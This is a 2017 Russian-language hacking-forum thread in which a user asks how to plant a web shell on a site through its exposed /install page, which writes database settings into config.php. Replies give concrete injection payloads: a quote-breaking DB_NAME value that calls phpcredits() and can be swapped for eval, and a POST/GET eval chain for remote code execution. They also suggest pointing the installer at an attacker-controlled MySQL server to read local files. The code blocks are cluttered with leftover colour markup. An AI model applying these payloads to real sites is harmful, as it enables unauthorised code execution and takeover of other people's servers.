Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Прошу помочь с уязвимостью. PHP inj (https://forum.antichat.xyz/showthread.php?t=455830)

weleor 18.09.2017 06:38

Добрый день!

Есть сайт, у него есть директория /install где я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост
Все это соотвественно сохраняется в конфиг.php такого вида:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bdname'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?

BabaDook 24.09.2017 22:02

Цитата:

Сообщение от weleor
weleor said:

Добрый день!
Есть сайт, у него есть директория /install где я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост
Все это соотвественно сохраняется в конфиг.php такого вида:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bdname'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?

Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'

crlf 24.09.2017 23:05

Цитата:

Сообщение от weleor
weleor said:

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?

Если конфиг точно пишется в файл, то можно попробовать записать DB_NAME так:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'.phpcredits(),//
[/COLOR][/COLOR] 

Если при обращении к конфигу выведется phpcredits, то можно заменить его на eval. Но скорее всего кавычка будет эскейпиться.

Цитата:

Сообщение от BabaDook
BabaDook said:

Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'

Цитата:

Сообщение от weleor
weleor said:

я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост

Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.

BabaDook 25.09.2017 00:11

Я чё та не до конца прочитал.... Ты о способе локал дата, с фейк сервером?

crlf 25.09.2017 00:47

Цитата:

Сообщение от BabaDook
BabaDook said:

Ты о способе локал дата, с фейк сервером?

Да, один из вариантов, в случае фейла с инъекцией.

BabaDook 25.09.2017 01:23

Цитата:

Сообщение от crlf
crlf said:

Да, один из вариантов, в случае фейла с инъекцией.

Ну да, есть варианты, но надо тыкать. Согласен вообщем..

erwerr2321 25.09.2017 01:28

Да, тыкать надо по-любому!

SooLFaa 25.09.2017 15:41

Цитата:

Сообщение от crlf
crlf said:

Если конфиг точно пишется в файл, то можно попробовать записать
DB_NAME
так:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'.phpcredits(),//
[/COLOR][/COLOR] 

Если при обращении к конфигу выведется
phpcredits
, то можно заменить его на
eval
. Но скорее всего кавычка будет эскейпиться.
Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.

Не мне тебя учить, что можно и без кавычки обойтись. Поэтому просто дополню:

Вариантов куча, один из.

Например постом отправляем

Код:

Code:
cmd=print(eval(current($_GET)));print(____);die;

А в гет

Код:

Code:
/index.php?anyname=phpcredits();


crlf 25.09.2017 17:48

Цитата:

Сообщение от SooLFaa
SooLFaa said:

Не мне тебя учить, что можно и без кавычки обойтись.

Скорее всего нужно Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phpcredits[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#FF8000"]//',
[/COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 

В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.

Цитата:

Сообщение от BabaDook
BabaDook said:

Ну да, есть варианты, но надо тыкать. Согласен вообщем..

Цитата:

Сообщение от ms13
ms13 said:

Да, тыкать надо по-любому!

Есть варианты когда тыкать не нужно?

BabaDook 25.09.2017 18:21

Цитата:

Сообщение от crlf
crlf said:

Скорее всего нужно
Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phpcredits[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#FF8000"]//',
[/COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 

В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.
Есть варианты когда тыкать не нужно?

ага, когда есть логи, десйтвие -> результат/ К тому же не понятно как он может править конфиг.


Время: 06:21